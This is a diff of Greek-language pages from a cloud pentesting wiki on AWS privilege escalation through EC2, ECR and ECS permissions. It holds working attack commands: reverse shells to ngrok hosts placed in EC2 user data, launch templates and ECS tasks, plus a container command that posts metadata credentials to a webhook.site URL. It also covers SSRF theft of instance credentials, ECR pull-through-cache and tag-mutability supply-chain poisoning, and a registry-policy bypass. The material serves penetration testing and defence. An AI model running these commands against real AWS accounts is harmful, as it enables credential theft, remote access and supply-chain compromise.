+MIME-Version: 1.0 +Content-Transfer-Encoding: 7bit +Content-Disposition: attachment; filename="cloud-config.txt" + +#cloud-config +cloud_final_modules: +- [scripts-user, always] + +--// +Content-Type: text/x-shellscript; charset="us-ascii" +MIME-Version: 1.0 +Content-Transfer-Encoding: 7bit +Content-Disposition: attachment; filename="userdata.txt" + +#!/bin/bash +bash -i >& /dev/tcp/2.tcp.ngrok.io/14510 0>&1 +--//' +TEXT_PATH="/tmp/text.b64.txt" + +printf $TEXT | base64 > "$TEXT_PATH" + +aws ec2 stop-instances --instance-ids $INSTANCE_ID + +aws ec2 modify-instance-attribute \ +--instance-id="$INSTANCE_ID" \ +--attribute userData \ +--value file://$TEXT_PATH + +aws ec2 start-instances --instance-ids $INSTANCE_ID +``` +**Potential Impact:** Άμεσο privesc σε οποιοδήποτε EC2 IAM Role που είναι συνημμένο σε μια δημιουργημένη instance. + +### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate` + +Ένας επιτιθέμενος με τα δικαιώματα **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** μπορεί να δημιουργήσει μια **new Launch Template version** με ένα **rev shell in** το **user data** και **any EC2 IAM Role on it**, να αλλάξει την default version, και **any Autoscaler group** **using** that **Launch Templat**e που είναι **configured** να χρησιμοποιεί την **latest** ή την **default version**, θα **re-run the instances** που χρησιμοποιούν αυτό το template και θα εκτελέσει το rev shell. +```bash +REV=$(printf '#!/bin/bash +curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash +' | base64) + +aws ec2 create-launch-template-version \ +--launch-template-name bad_template \ +--launch-template-data "{\"ImageId\": \"ami-0c1bc246476a5572b\", \"InstanceType\": \"t3.micro\", \"IamInstanceProfile\": {\"Name\": \"ecsInstanceRole\"}, \"UserData\": \"$REV\"}" + +aws ec2 modify-launch-template \ +--launch-template-name bad_template \ +--default-version 2 +``` +**Πιθανός Αντίκτυπος:** Άμεσο privesc σε διαφορετικό EC2 role. + +### (`autoscaling:CreateLaunchConfiguration` | `ec2:CreateLaunchTemplate`), `iam:PassRole`, (`autoscaling:CreateAutoScalingGroup` | `autoscaling:UpdateAutoScalingGroup`) + +Ένας επιτιθέμενος με τα δικαιώματα **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** μπορεί να **δημιουργήσει ένα Launch Configuration** με ένα **IAM Role** και ένα **rev shell** μέσα στο **user data**, έπειτα να **δημιουργήσει ένα autoscaling group** από αυτό το config και να περιμένει το rev shell να **κλέψει το IAM Role**. +```bash +aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \ +--launch-configuration-name bad_config \ +--image-id ami-0c1bc246476a5572b \ +--instance-type t3.micro \ +--iam-instance-profile EC2-CloudWatch-Agent-Role \ +--user-data "$REV" + +aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \ +--auto-scaling-group-name bad_auto \ +--min-size 1 --max-size 1 \ +--launch-configuration-name bad_config \ +--desired-capacity 1 \ +--vpc-zone-identifier "subnet-e282f9b8" +``` +**Πιθανός αντίκτυπος:** Άμεσο privesc σε διαφορετικό ρόλο EC2. + +### `!autoscaling` + +Το σύνολο δικαιωμάτων **`ec2:CreateLaunchTemplate`** και **`autoscaling:CreateAutoScalingGroup`** **δεν είναι αρκετό για να αυξήσει** τα προνόμια σε έναν ρόλο IAM, επειδή για να επισυνάψετε τον ρόλο που καθορίζεται στο Launch Configuration ή στο Launch Template **χρειάζεστε τα δικαιώματα `iam:PassRole` και `ec2:RunInstances`** (το οποίο είναι γνωστό privesc). + +### `ec2-instance-connect:SendSSHPublicKey` + +Ένας επιτιθέμενος με το δικαίωμα **`ec2-instance-connect:SendSSHPublicKey`** μπορεί να προσθέσει ένα ssh key σε έναν χρήστη και να το χρησιμοποιήσει για πρόσβαση (εάν έχει ssh πρόσβαση στο instance) ή για να ανεβάσει προνόμια. +```bash +aws ec2-instance-connect send-ssh-public-key \ +--instance-id "$INSTANCE_ID" \ +--instance-os-user "ec2-user" \ +--ssh-public-key "file://$PUBK_PATH" +``` +**Πιθανός αντίκτυπος:** Άμεσο privesc στις EC2 IAM roles που είναι συνδεδεμένες με εκτελούμενα instances. + +### `ec2-instance-connect:SendSerialConsoleSSHPublicKey` + +Ένας επιτιθέμενος με την άδεια **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** μπορεί να **προσθέσει ένα ssh key σε μια σειριακή σύνδεση**. Εάν η σειριακή δεν είναι ενεργοποιημένη, ο επιτιθέμενος χρειάζεται την άδεια **`ec2:EnableSerialConsoleAccess` για να την ενεργοποιήσει**. + +Για να συνδεθεί στη σειριακή θύρα χρειάζεται επίσης **να γνωρίζει το username και το password ενός χρήστη** μέσα στη μηχανή. +```bash +aws ec2 enable-serial-console-access + +aws ec2-instance-connect send-serial-console-ssh-public-key \ +--instance-id "$INSTANCE_ID" \ +--serial-port 0 \ +--region "eu-west-1" \ +--ssh-public-key "file://$PUBK_PATH" + +ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws +``` +Αυτός ο τρόπος δεν είναι τόσο χρήσιμος για privesc καθώς χρειάζεται να γνωρίζεις όνομα χρήστη και κωδικό πρόσβασης για να τον εκμεταλλευτείς. + +**Potential Impact:** (Ιδιαίως δύσκολο να αποδειχθεί) Άμεσο privesc στους EC2 IAM roles που είναι επισυναπτόμενοι σε ενεργά instances. + +### `describe-launch-templates`,`describe-launch-template-versions` + +Εφόσον τα launch templates έχουν versioning, ένας επιτιθέμενος με δικαιώματα **`ec2:describe-launch-templates`** και **`ec2:describe-launch-template-versions`** θα μπορούσε να τα εκμεταλλευτεί για να ανακαλύψει ευαίσθητες πληροφορίες, όπως διαπιστευτήρια που υπάρχουν στο user data. Για να το πετύχει αυτό, το παρακάτω script διατρέχει όλες τις εκδόσεις των διαθέσιμων launch templates: +```bash +for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId') +do +echo "[*] Analyzing $i" +aws ec2 describe-launch-template-versions --launch-template-id $i --region us-east-1 | jq -r '.LaunchTemplateVersions[] | "\(.VersionNumber) \(.LaunchTemplateData.UserData)"' | while read version userdata +do +echo "VersionNumber: $version" +echo "$userdata" | base64 -d +echo +done | grep -iE "aws_|password|token|api" +done +``` +Στις παραπάνω εντολές, παρόλο που καθορίζουμε συγκεκριμένα μοτίβα (`aws_|password|token|api`), μπορείτε να χρησιμοποιήσετε διαφορετικό regex για να αναζητήσετε άλλους τύπους ευαίσθητων πληροφοριών. + +Αν υποθέσουμε ότι βρούμε `aws_access_key_id` και `aws_secret_access_key`, μπορούμε να χρησιμοποιήσουμε αυτά τα credentials για να κάνουμε authenticate στο AWS. + +**Πιθανός Αντίκτυπος:** Direct privilege escalation to IAM user(s). + +## Αναφορές + +- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) + +{{#include ../../../../banners/hacktricks-training.md}} + + + + +### `ec2:ModifyInstanceMetadataOptions` (IMDS downgrade για να επιτραπεί SSRF credential theft) + +Ένας επιτιθέμενος με τη δυνατότητα να καλεί `ec2:ModifyInstanceMetadataOptions` σε ένα θύμα EC2 instance μπορεί να εξασθενήσει τις προστασίες του IMDS ενεργοποιώντας IMDSv1 (`HttpTokens=optional`) και αυξάνοντας το `HttpPutResponseHopLimit`. Αυτό καθιστά το instance metadata endpoint προσβάσιμο μέσω κοινών SSRF/proxy διαδρομών από εφαρμογές που τρέχουν στο instance. Εάν ο επιτιθέμενος μπορέσει να προκαλέσει ένα SSRF σε τέτοια εφαρμογή, μπορεί να ανακτήσει τα instance profile credentials και να pivot με αυτά. + +- Απαιτούμενα δικαιώματα: `ec2:ModifyInstanceMetadataOptions` στο target instance (επιπλέον η ικανότητα να φτάσει/προκαλέσει ένα SSRF στο host). +- Στόχος πόρος: Το τρέχον EC2 instance με ένα συνημμένο instance profile (IAM role). + +Παράδειγμα εντολών: +```bash +# 1) Check current metadata settings +aws ec2 describe-instances --instance-id \ +--query 'Reservations[0].Instances[0].MetadataOptions' + +# 2) Downgrade IMDS protections (enable IMDSv1 and raise hop limit) +aws ec2 modify-instance-metadata-options --instance-id \ +--http-endpoint enabled --http-tokens optional \ +--http-put-response-hop-limit 3 --instance-metadata-tags enabled + +# 3) Through the SSRF, enumerate role name +curl "http://:/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/" + +# 4) Through the SSRF, steal the temporary credentials +curl "http://:/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/" + +# 5) Use the stolen credentials +export AWS_ACCESS_KEY_ID= +export AWS_SECRET_ACCESS_KEY= +export AWS_SESSION_TOKEN= +aws sts get-caller-identity + +# 6) Restore protections (require IMDSv2, low hop limit) +aws ec2 modify-instance-metadata-options --instance-id \ +--http-tokens required --http-put-response-hop-limit 1 +``` +Πιθανή Επίπτωση: Κλοπή των instance profile credentials μέσω SSRF που οδηγεί σε privilege escalation και lateral movement με τα EC2 role permissions. diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md deleted file mode 100644 index 52983d085..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md +++ /dev/null @@ -1,100 +0,0 @@ -# AWS - ECR Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## ECR - -### `ecr:GetAuthorizationToken`,`ecr:BatchGetImage` - -Ένας επιτιθέμενος με το **`ecr:GetAuthorizationToken`** και **`ecr:BatchGetImage`** μπορεί να συνδεθεί στο ECR και να κατεβάσει εικόνες. - -Για περισσότερες πληροφορίες σχετικά με το πώς να κατεβάσετε εικόνες: - -{{#ref}} -../aws-post-exploitation/aws-ecr-post-exploitation.md -{{#endref}} - -**Πιθανές Επιπτώσεις:** Έμμεσος privesc μέσω της παρεμβολής ευαίσθητων πληροφοριών στην κίνηση. - -### `ecr:GetAuthorizationToken`, `ecr:BatchCheckLayerAvailability`, `ecr:CompleteLayerUpload`, `ecr:InitiateLayerUpload`, `ecr:PutImage`, `ecr:UploadLayerPart` - -Ένας επιτιθέμενος με όλες αυτές τις άδειες **μπορεί να συνδεθεί στο ECR και να ανεβάσει εικόνες**. Αυτό μπορεί να είναι χρήσιμο για την αναβάθμιση των δικαιωμάτων σε άλλα περιβάλλοντα όπου χρησιμοποιούνται αυτές οι εικόνες. - -Για να μάθετε πώς να ανεβάσετε μια νέα εικόνα/να ενημερώσετε μία, ελέγξτε: - -{{#ref}} -../aws-services/aws-eks-enum.md -{{#endref}} - -### `ecr-public:GetAuthorizationToken`, `ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload`, `ecr-public:InitiateLayerUpload, ecr-public:PutImage`, `ecr-public:UploadLayerPart` - -Όπως η προηγούμενη ενότητα, αλλά για δημόσιες αποθήκες. - -### `ecr:SetRepositoryPolicy` - -Ένας επιτιθέμενος με αυτή την άδεια θα μπορούσε να **αλλάξει** την **πολιτική** **αποθήκης** για να παραχωρήσει στον εαυτό του (ή ακόμα και σε όλους) **πρόσβαση ανάγνωσης/εγγραφής**.\ -Για παράδειγμα, σε αυτό το παράδειγμα, η πρόσβαση ανάγνωσης παραχωρείται σε όλους. -```bash -aws ecr set-repository-policy \ ---repository-name \ ---policy-text file://my-policy.json -``` -Περιεχόμενα του `my-policy.json`: -```json -{ -"Version": "2008-10-17", -"Statement": [ -{ -"Sid": "allow public pull", -"Effect": "Allow", -"Principal": "*", -"Action": [ -"ecr:BatchCheckLayerAvailability", -"ecr:BatchGetImage", -"ecr:GetDownloadUrlForLayer" -] -} -] -} -``` -### `ecr-public:SetRepositoryPolicy` - -Όπως στην προηγούμενη ενότητα, αλλά για δημόσιες αποθήκες.\ -Ένας επιτιθέμενος μπορεί να **τροποποιήσει την πολιτική αποθήκης** μιας δημόσιας αποθήκης ECR για να παραχωρήσει μη εξουσιοδοτημένη δημόσια πρόσβαση ή να κλιμακώσει τα δικαιώματά του. -```bash -bashCopy code# Create a JSON file with the malicious public repository policy -echo '{ -"Version": "2008-10-17", -"Statement": [ -{ -"Sid": "MaliciousPublicRepoPolicy", -"Effect": "Allow", -"Principal": "*", -"Action": [ -"ecr-public:GetDownloadUrlForLayer", -"ecr-public:BatchGetImage", -"ecr-public:BatchCheckLayerAvailability", -"ecr-public:PutImage", -"ecr-public:InitiateLayerUpload", -"ecr-public:UploadLayerPart", -"ecr-public:CompleteLayerUpload", -"ecr-public:DeleteRepositoryPolicy" -] -} -] -}' > malicious_public_repo_policy.json - -# Apply the malicious public repository policy to the ECR Public repository -aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json -``` -**Πιθανές Επιπτώσεις**: Μη εξουσιοδοτημένη δημόσια πρόσβαση στο δημόσιο αποθετήριο ECR, επιτρέποντας σε οποιονδήποτε χρήστη να σπρώξει, να τραβήξει ή να διαγράψει εικόνες. - -### `ecr:PutRegistryPolicy` - -Ένας επιτιθέμενος με αυτή την άδεια θα μπορούσε να **αλλάξει** την **πολιτική αποθετηρίου** για να παραχωρήσει στον εαυτό του, τον λογαριασμό του (ή ακόμα και σε όλους) **πρόσβαση ανάγνωσης/εγγραφής**. -```bash -aws ecr set-repository-policy \ ---repository-name \ ---policy-text file://my-policy.json -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md new file mode 100644 index 000000000..39fc36a0f --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md @@ -0,0 +1,268 @@ +# AWS - ECR Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## ECR + +### `ecr:GetAuthorizationToken`,`ecr:BatchGetImage` + +Ένας επιτιθέμενος με τα **`ecr:GetAuthorizationToken`** και **`ecr:BatchGetImage`** μπορεί να συνδεθεί στο ECR και να κατεβάσει εικόνες. + +Για περισσότερες πληροφορίες σχετικά με το πώς να κατεβάσετε εικόνες: + +{{#ref}} +../../aws-post-exploitation/aws-ecr-post-exploitation/README.md +{{#endref}} + +**Potential Impact:** Έμμεσο privesc μέσω υποκλοπής ευαίσθητων πληροφοριών στην κίνηση. + +### `ecr:GetAuthorizationToken`, `ecr:BatchCheckLayerAvailability`, `ecr:CompleteLayerUpload`, `ecr:InitiateLayerUpload`, `ecr:PutImage`, `ecr:UploadLayerPart` + +Ένας επιτιθέμενος με όλες αυτές τις άδειες **μπορεί να συνδεθεί στο ECR και να ανεβάσει εικόνες**. Αυτό μπορεί να είναι χρήσιμο για να αυξήσει τα προνόμια σε άλλα περιβάλλοντα όπου χρησιμοποιούνται αυτές οι εικόνες. + +Για να μάθετε πώς να ανεβάσετε μια νέα εικόνα/να ενημερώσετε μια υπάρχουσα, δείτε: + +{{#ref}} +../../aws-services/aws-eks-enum.md +{{#endref}} + +### `ecr-public:GetAuthorizationToken`, `ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload`, `ecr-public:InitiateLayerUpload, ecr-public:PutImage`, `ecr-public:UploadLayerPart` + +Όπως στην προηγούμενη ενότητα, αλλά για δημόσια αποθετήρια. + +### `ecr:SetRepositoryPolicy` + +Ένας επιτιθέμενος με αυτή την άδεια θα μπορούσε να **αλλάξει** την **πολιτική** του **αποθετηρίου** για να χορηγήσει στον εαυτό του (ή ακόμη και σε όλους) **πρόσβαση ανάγνωσης/εγγραφής**.\ +Για παράδειγμα, σε αυτό το παράδειγμα δίνεται πρόσβαση ανάγνωσης σε όλους. +```bash +aws ecr set-repository-policy \ +--repository-name \ +--policy-text file://my-policy.json +``` +Περιεχόμενα του `my-policy.json`: +```json +{ +"Version": "2008-10-17", +"Statement": [ +{ +"Sid": "allow public pull", +"Effect": "Allow", +"Principal": "*", +"Action": [ +"ecr:BatchCheckLayerAvailability", +"ecr:BatchGetImage", +"ecr:GetDownloadUrlForLayer" +] +} +] +} +``` +### `ecr-public:SetRepositoryPolicy` + +Όπως στην προηγούμενη ενότητα, αλλά για δημόσια αποθετήρια.\ +Ένας επιτιθέμενος μπορεί να **τροποποιήσει την πολιτική του αποθετηρίου** ενός ECR Public repository ώστε να παραχωρήσει μη εξουσιοδοτημένη δημόσια πρόσβαση ή να αυξήσει τα προνόμιά του. +```bash +# Create a JSON file with the malicious public repository policy +echo '{ +"Version": "2008-10-17", +"Statement": [ +{ +"Sid": "MaliciousPublicRepoPolicy", +"Effect": "Allow", +"Principal": "*", +"Action": [ +"ecr-public:GetDownloadUrlForLayer", +"ecr-public:BatchGetImage", +"ecr-public:BatchCheckLayerAvailability", +"ecr-public:PutImage", +"ecr-public:InitiateLayerUpload", +"ecr-public:UploadLayerPart", +"ecr-public:CompleteLayerUpload", +"ecr-public:DeleteRepositoryPolicy" +] +} +] +}' > malicious_public_repo_policy.json + +# Apply the malicious public repository policy to the ECR Public repository +aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json +``` +**Πιθανός Αντίκτυπος**: Μη εξουσιοδοτημένη δημόσια πρόσβαση στο ECR Public repository, επιτρέποντας σε οποιονδήποτε χρήστη να κάνει push, pull, ή delete images. + +### `ecr:PutRegistryPolicy` + +Ένας επιτιθέμενος με αυτή την άδεια θα μπορούσε να **αλλάξει** την **registry policy** για να χορηγήσει στον εαυτό του, στον λογαριασμό του (ή ακόμα και σε όλους) **read/write access**. +```bash +aws ecr set-repository-policy \ +--repository-name \ +--policy-text file://my-policy.json +``` +{{#include ../../../../banners/hacktricks-training.md}} + + + + + +### ecr:CreatePullThroughCacheRule + +Καταχραστείτε τους κανόνες ECR Pull Through Cache (PTC) για να αντιστοιχίσετε ένα upstream namespace που ελέγχεται από attacker σε ένα αξιόπιστο prefix του private ECR. Αυτό επιτρέπει σε workloads που τραβούν από το private ECR να λαμβάνουν διαφανώς attacker images χωρίς κανένα push στο private ECR. + +- Απαιτούμενα perms: ecr:CreatePullThroughCacheRule, ecr:DescribePullThroughCacheRules, ecr:DeletePullThroughCacheRule. If using ECR Public upstream: ecr-public:* to create/push to the public repo. +- Δοκιμασμένο upstream: public.ecr.aws + +Βήματα (παράδειγμα): + +1. Προετοιμάστε attacker image στο ECR Public +# Get your ECR Public alias with: aws ecr-public describe-registries --region us-east-1 +docker login public.ecr.aws/ +docker build -t public.ecr.aws//hacktricks-ptc-demo:ptc-test . +docker push public.ecr.aws//hacktricks-ptc-demo:ptc-test + +2. Δημιουργήστε τον PTC κανόνα στο private ECR για να αντιστοιχίσετε ένα αξιόπιστο prefix στο public registry +aws ecr create-pull-through-cache-rule --region us-east-2 --ecr-repository-prefix ptc --upstream-registry-url public.ecr.aws + +3. Pull το attacker image μέσω του private ECR path (no push to private ECR was done) +docker login .dkr.ecr.us-east-2.amazonaws.com +docker pull .dkr.ecr.us-east-2.amazonaws.com/ptc//hacktricks-ptc-demo:ptc-test +docker run --rm .dkr.ecr.us-east-2.amazonaws.com/ptc//hacktricks-ptc-demo:ptc-test + +Potential Impact: Supply-chain compromise by hijacking internal image names under the chosen prefix. Any workload pulling images from the private ECR using that prefix will receive attacker-controlled content. + +### `ecr:PutImageTagMutability` + +Καταχραστείτε αυτό το permission για να αλλάξετε ένα repository με tag immutability σε mutable και να αντικαταστήσετε αξιόπιστα tags (π.χ., latest, stable, prod) με attacker-controlled content. + +- Απαιτούμενα perms: `ecr:PutImageTagMutability` plus push capabilities (`ecr:GetAuthorizationToken`, `ecr:InitiateLayerUpload`, `ecr:UploadLayerPart`, `ecr:CompleteLayerUpload`, `ecr:PutImage`). +- Impact: Supply-chain compromise by silently replacing immutable tags without changing tag names. + +Βήματα (παράδειγμα): + +
+Δηλητηρίαση ενός immutable tag με εναλλαγή της mutability +```bash +REGION=us-east-1 +REPO=ht-immutable-demo-$RANDOM +aws ecr create-repository --region $REGION --repository-name $REPO --image-tag-mutability IMMUTABLE +acct=$(aws sts get-caller-identity --query Account --output text) +aws ecr get-login-password --region $REGION | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com +# Build and push initial trusted tag +printf 'FROM alpine:3.19\nCMD echo V1\n' > Dockerfile && docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod . && docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod +# Attempt overwrite while IMMUTABLE (should fail) +printf 'FROM alpine:3.19\nCMD echo V2\n' > Dockerfile && docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod . && docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod +# Flip to MUTABLE and overwrite +aws ecr put-image-tag-mutability --region $REGION --repository-name $REPO --image-tag-mutability MUTABLE +docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod +# Validate consumers pulling by tag now get the poisoned image (prints V2) +docker run --rm ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod +``` +
+ + +#### Global registry hijack via ROOT Pull-Through Cache rule + +Δημιουργήστε έναν κανόνα Pull-Through Cache (PTC) χρησιμοποιώντας το ειδικό `ecrRepositoryPrefix=ROOT` για να αντιστοιχίσετε τη ρίζα του ιδιωτικού ECR registry σε ένα upstream δημόσιο registry (π.χ., ECR Public). Οποιοδήποτε pull σε μη υπάρχον repository στο ιδιωτικό registry θα εξυπηρετείται διαφανώς από το upstream, επιτρέποντας supply-chain hijacking χωρίς να γίνεται push στο ιδιωτικό ECR. + +- Απαιτούμενα perms: `ecr:CreatePullThroughCacheRule`, `ecr:DescribePullThroughCacheRules`, `ecr:DeletePullThroughCacheRule`, `ecr:GetAuthorizationToken`. +- Επίπτωση: Τα pulls στο `.dkr.ecr..amazonaws.com/:` επιτυγχάνουν και δημιουργούν αυτόματα ιδιωτικά repos που προέρχονται από το upstream. + +> Σημείωση: Για `ROOT` rules, παραλείψτε `--upstream-repository-prefix`. Η παροχή του θα προκαλέσει σφάλμα επικύρωσης. + +
+Παράδειγμα (us-east-1, upstream public.ecr.aws) +```bash +REGION=us-east-1 +ACCT=$(aws sts get-caller-identity --query Account --output text) + +# 1) Create ROOT PTC rule mapping to ECR Public (no upstream prefix) +aws ecr create-pull-through-cache-rule \ +--region "$REGION" \ +--ecr-repository-prefix ROOT \ +--upstream-registry-url public.ecr.aws + +# 2) Authenticate to private ECR and pull via root path (triggers caching & auto repo creation) +aws ecr get-login-password --region "$REGION" | docker login --username AWS --password-stdin ${ACCT}.dkr.ecr.${REGION}.amazonaws.com + +# Example using an official mirror path hosted in ECR Public +# (public.ecr.aws/docker/library/alpine:latest) +docker pull ${ACCT}.dkr.ecr.${REGION}.amazonaws.com/docker/library/alpine:latest + +# 3) Verify repo and image now exist without any push +aws ecr describe-repositories --region "$REGION" \ +--query "repositories[?repositoryName==docker/library/alpine]" +aws ecr list-images --region "$REGION" --repository-name docker/library/alpine --filter tagStatus=TAGGED + +# 4) Cleanup +aws ecr delete-pull-through-cache-rule --region "$REGION" --ecr-repository-prefix ROOT +aws ecr delete-repository --region "$REGION" --repository-name docker/library/alpine --force || true +``` +
+ +### `ecr:PutAccountSetting` (Downgrade `REGISTRY_POLICY_SCOPE` to bypass registry policy denies) + +Καταχράσου το `ecr:PutAccountSetting` για να αλλάξεις το registry policy scope από `V2` (policy που εφαρμόζεται σε όλες τις ενέργειες του ECR) σε `V1` (policy που εφαρμόζεται μόνο σε `CreateRepository`, `ReplicateImage`, `BatchImportUpstreamImage`). Αν ένα περιοριστικό registry policy Deny μπλοκάρει ενέργειες όπως `CreatePullThroughCacheRule`, το downgrade σε `V1` αφαιρεί αυτήν την επιβολή ώστε τα identity‑policy Allows να τεθούν σε ισχύ. + +- Απαιτούμενα δικαιώματα: `ecr:PutAccountSetting`, `ecr:PutRegistryPolicy`, `ecr:GetRegistryPolicy`, `ecr:CreatePullThroughCacheRule`, `ecr:DescribePullThroughCacheRules`, `ecr:DeletePullThroughCacheRule`. +- Επίδραση: Δυνατότητα εκτέλεσης ενεργειών ECR που προηγουμένως είχαν μπλοκαριστεί από registry policy Deny (π.χ., create PTC rules) με προσωρινή ρύθμιση του scope σε `V1`. + +Βήματα (παράδειγμα): + +
+Bypass registry policy Deny on CreatePullThroughCacheRule by switching to V1 +```bash +REGION=us-east-1 +ACCT=$(aws sts get-caller-identity --query Account --output text) + +# 0) Snapshot current scope/policy (for restore) +aws ecr get-account-setting --name REGISTRY_POLICY_SCOPE --region $REGION || true +aws ecr get-registry-policy --region $REGION > /tmp/orig-registry-policy.json 2>/dev/null || echo '{}' > /tmp/orig-registry-policy.json + +# 1) Ensure V2 and set a registry policy Deny for CreatePullThroughCacheRule +aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V2 --region $REGION +cat > /tmp/deny-ptc.json <<'JSON' +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "DenyPTCAll", +"Effect": "Deny", +"Principal": "*", +"Action": ["ecr:CreatePullThroughCacheRule"], +"Resource": "*" +} +] +} +JSON +aws ecr put-registry-policy --policy-text file:///tmp/deny-ptc.json --region $REGION + +# 2) Attempt to create a PTC rule (should FAIL under V2 due to Deny) +set +e +aws ecr create-pull-through-cache-rule \ +--region $REGION \ +--ecr-repository-prefix ptc-deny-test \ +--upstream-registry-url public.ecr.aws +RC=$? +set -e +if [ "$RC" -eq 0 ]; then echo "UNEXPECTED: rule creation succeeded under V2 deny"; fi + +# 3) Downgrade scope to V1 and retry (should SUCCEED now) +aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V1 --region $REGION +aws ecr create-pull-through-cache-rule \ +--region $REGION \ +--ecr-repository-prefix ptc-deny-test \ +--upstream-registry-url public.ecr.aws + +# 4) Verify rule exists +aws ecr describe-pull-through-cache-rules --region $REGION \ +--query "pullThroughCacheRules[?ecrRepositoryPrefix=='ptc-deny-test']" + +# 5) Cleanup and restore +aws ecr delete-pull-through-cache-rule --region $REGION --ecr-repository-prefix ptc-deny-test || true +if jq -e '.registryPolicyText' /tmp/orig-registry-policy.json >/dev/null 2>&1; then +jq -r '.registryPolicyText' /tmp/orig-registry-policy.json > /tmp/_orig.txt +aws ecr put-registry-policy --region $REGION --policy-text file:///tmp/_orig.txt +else +aws ecr delete-registry-policy --region $REGION || true +fi +aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V2 --region $REGION +``` +
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md deleted file mode 100644 index 7ebf4a199..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md +++ /dev/null @@ -1,328 +0,0 @@ -# AWS - ECS Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## ECS - -Περισσότερες **πληροφορίες για το ECS** στο: - -{{#ref}} -../aws-services/aws-ecs-enum.md -{{#endref}} - -### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask` - -Ένας επιτιθέμενος που καταχράται τα `iam:PassRole`, `ecs:RegisterTaskDefinition` και `ecs:RunTask` δικαιώματα στο ECS μπορεί να **δημιουργήσει ένα νέο task definition** με ένα **κακόβουλο container** που κλέβει τα metadata credentials και να **το τρέξει**. - -{{#tabs }} -{{#tab name="Reverse Shell" }} -```bash -# Generate task definition with rev shell -aws ecs register-task-definition --family iam_exfiltration \ ---task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \ ---network-mode "awsvpc" \ ---cpu 256 --memory 512\ ---requires-compatibilities "[\"FARGATE\"]" \ ---container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]" - -# Run task definition -aws ecs run-task --task-definition iam_exfiltration \ ---cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \ ---launch-type FARGATE \ ---network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}" - -# Delete task definition -## You need to remove all the versions (:1 is enough if you just created one) -aws ecs deregister-task-definition --task-definition iam_exfiltration:1 -``` -{{#endtab }} - -{{#tab name="Webhook" }} - -Δημιούργησε ένα webhook χρησιμοποιώντας έναν ιστότοπο όπως το webhook.site -```bash - -# Create file container-definition.json -[ -{ -"name": "exfil_creds", -"image": "python:latest", -"entryPoint": ["sh", "-c"], -"command": [ -"CREDS=$(curl -s http://169.254.170.2${AWS_CONTAINER_CREDENTIALS_RELATIVE_URI}); curl -X POST -H 'Content-Type: application/json' -d \"$CREDS\" https://webhook.site/abcdef12-3456-7890-abcd-ef1234567890" -] -} -] - -# Run task definition, uploading the .json file -aws ecs register-task-definition \ ---family iam_exfiltration \ ---task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \ ---network-mode "awsvpc" \ ---cpu 256 \ ---memory 512 \ ---requires-compatibilities FARGATE \ ---container-definitions file://container-definition.json - -# Check the webhook for a response - -# Delete task definition -## You need to remove all the versions (:1 is enough if you just created one) -aws ecs deregister-task-definition --task-definition iam_exfiltration:1 - -``` -{{#endtab }} - -{{#endtabs }} - -**Πιθανός Αντίκτυπος:** Άμεση privesc σε διαφορετικό ECS role. - 